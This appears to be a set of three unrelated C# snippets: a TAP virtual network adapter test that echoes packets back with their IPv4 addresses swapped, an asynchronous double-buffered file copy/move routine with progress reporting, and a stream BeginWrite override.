static void Main(string[] args) { const string UsermodeDeviceSpace = "\\\\.\\Global\\"; string devGuid = GetDeviceGuid(); Console.WriteLine(HumanName(devGuid)); IntPtr ptr = CreateFile(UsermodeDeviceSpace + devGuid + ".tap", FileAccess.ReadWrite, FileShare.ReadWrite, 0, FileMode.Open, FILE_ATTRIBUTE_SYSTEM | FILE_FLAG_OVERLAPPED, IntPtr.Zero); int len; IntPtr pstatus = Marshal.AllocHGlobal(4); Marshal.WriteInt32(pstatus, 1); DeviceIoControl(ptr, TAP_CONTROL_CODE(6, METHOD_BUFFERED) /* TAP_IOCTL_SET_MEDIA_STATUS */, pstatus, 4, pstatus, 4, out len, IntPtr.Zero); IntPtr ptun = Marshal.AllocHGlobal(12); Marshal.WriteInt32(ptun, 0, 0x0100030a); Marshal.WriteInt32(ptun, 4, 0x0000030a); Marshal.WriteInt32(ptun, 8, unchecked((int)0x00ffffff)); DeviceIoControl(ptr, TAP_CONTROL_CODE(10, METHOD_BUFFERED) /* TAP_IOCTL_CONFIG_TUN */, ptun, 12, ptun, 12, out len, IntPtr.Zero); Tap = new FileStream(ptr, FileAccess.ReadWrite, true, 10000, true); byte[] buf = new byte[10000]; object state = new int(); WaitObject = new EventWaitHandle(false, EventResetMode.AutoReset); object state2 = new int(); WaitObject2 = new EventWaitHandle(false, EventResetMode.AutoReset); AsyncCallback readCallback = new AsyncCallback(ReadDataCallback); AsyncCallback writeCallback = new AsyncCallback(WriteDataCallback); IAsyncResult res, res2; // FIXME: for now we hardcode the ip address and port //string serverIP = "188.26.227.131"; //int port = 9999; // Create a UDP socket to connect to the main server //UdpClient udpClient = new UdpClient(port); try { //udpClient.Connect(serverIP, port); while (true) { res = Tap.BeginRead(buf, 0, 10000, readCallback, state); WaitObject.WaitOne(); // // Reverse IPv4 addresses and send back to tun // for (int i = 0; i < 4; ++i) { byte tmp = buf[12 + i]; buf[12 + i] = buf[16 + i]; buf[16 + i] = tmp; } res2 = Tap.BeginWrite(buf, 0, BytesRead, writeCallback, state2); WaitObject2.WaitOne(); } } catch (Exception e) { Console.WriteLine(e.ToString()); } }
public void ProcessItems(string src, string dst) { int size = 2048 * 1024 * 2; //buffer size int current_read_buffer = 0; //pointer to current read buffer int last_bytes_read = 0; //number of bytes last read if (!Directory.Exists(System.IO.Path.GetDirectoryName(dst))) { Directory.CreateDirectory(System.IO.Path.GetDirectoryName(dst)); } byte[][] buffer = new byte[2][]; buffer[0] = new byte[size]; buffer[1] = new byte[size]; //Dispatcher.Invoke(System.Windows.Threading.DispatcherPriority.Background, // (Action)(() => // { // lblFileName.Text = System.IO.Path.GetFileNameWithoutExtension(src); // })); using (var r = new System.IO.FileStream(src, System.IO.FileMode.Open, System.IO.FileAccess.Read, System.IO.FileShare.ReadWrite, size * 2, System.IO.FileOptions.SequentialScan | System.IO.FileOptions.Asynchronous)) { //Microsoft.Win32.SafeHandles.SafeFileHandle hDst = CreateFile(dst, (uint)System.IO.FileAccess.Write, (uint)System.IO.FileShare.None, IntPtr.Zero, (uint)System.IO.FileMode.Create, FILE_FLAG_NO_BUFFERING | FILE_FLAG_SEQUENTIAL_SCAN | FILE_FLAG_OVERLAPPED, IntPtr.Zero); var z = new FileStream(dst, FileMode.Create, FileAccess.Write, FileShare.None, size * 2, FileOptions.WriteThrough | FileFlagNoBuffering | FileOptions.SequentialScan); z.Close(); z.Dispose(); using (var w = new System.IO.FileStream(dst, FileMode.Open, System.IO.FileAccess.Write, FileShare.ReadWrite, size * 2, true)) { current_read_buffer = 0; last_bytes_read = r.Read(buffer[current_read_buffer], 0, size); //synchronously read the first buffer long l = r.Length; //w.SetLength(l); long i = 0; while (i < l) { _block.WaitOne(); if (Cancel) { Environment.Exit(5); break; } IAsyncResult aw = w.BeginWrite(buffer[current_read_buffer], 0, last_bytes_read, new AsyncCallback(CopyFileCallback), 0); current_read_buffer = current_read_buffer == 0 ? 1 : 0; Thread.CurrentThread.Join(2); IAsyncResult ar = r.BeginRead(buffer[current_read_buffer], 0, last_bytes_read, new AsyncCallback(CopyFileCallback), 0); i += last_bytes_read; if (i > 0) { long oldvalbefore = 0; oldbyteVlaues.TryGetValue(src, out oldvalbefore); long oldval = 0; if (oldbyteVlaues.TryGetValue(src, out oldval)) { oldbyteVlaues[src] = i; } else { oldbyteVlaues.Add(src, i); } if (i - oldvalbefore > 0) { totaltransfered += (i - oldvalbefore); } byte[] data = System.Text.Encoding.Unicode.GetBytes(String.Format("{0}|{1}|{2}|{3}", i, l, totaltransfered, src)); WindowsAPI.SendStringMessage(MessageReceiverHandle, data, 0, data.Length); if (i == l) { //procCompleted++; if (this.OPType == OperationType.Move) { r.Close(); r.Dispose(); FileInfo fi = new FileInfo(src); if (fi.IsReadOnly) { fi.IsReadOnly = false; } fi.Delete(); } } //if (totaltransfered == total) //{ // if (this.OPType == OperationType.Move) // { // foreach (var dir in this.SourceItemsCollection.Select(c => ShellObject.FromParsingName(c.Item1)).ToArray().Where(c => c.IsFolder)) // { // DeleteAllFilesFromDir(new DirectoryInfo(dir.ParsingName), false); // DeleteFolderRecursive(new DirectoryInfo(dir.ParsingName), false); // } // GC.WaitForPendingFinalizers(); // GC.Collect(); // } // Environment.Exit(5); //} } else { //oldbyteVlaue = 0; oldbyteVlaues[src] = 0; if (l == 0) { Environment.Exit(5); } } last_bytes_read = r.EndRead(ar); Thread.Sleep(1); w.EndWrite(aw); } } } }
public override IAsyncResult BeginWrite(byte[] buffer, int offset, int count, AsyncCallback callback, object state) { return(tempStream.BeginWrite(buffer, offset, count, callback, state)); }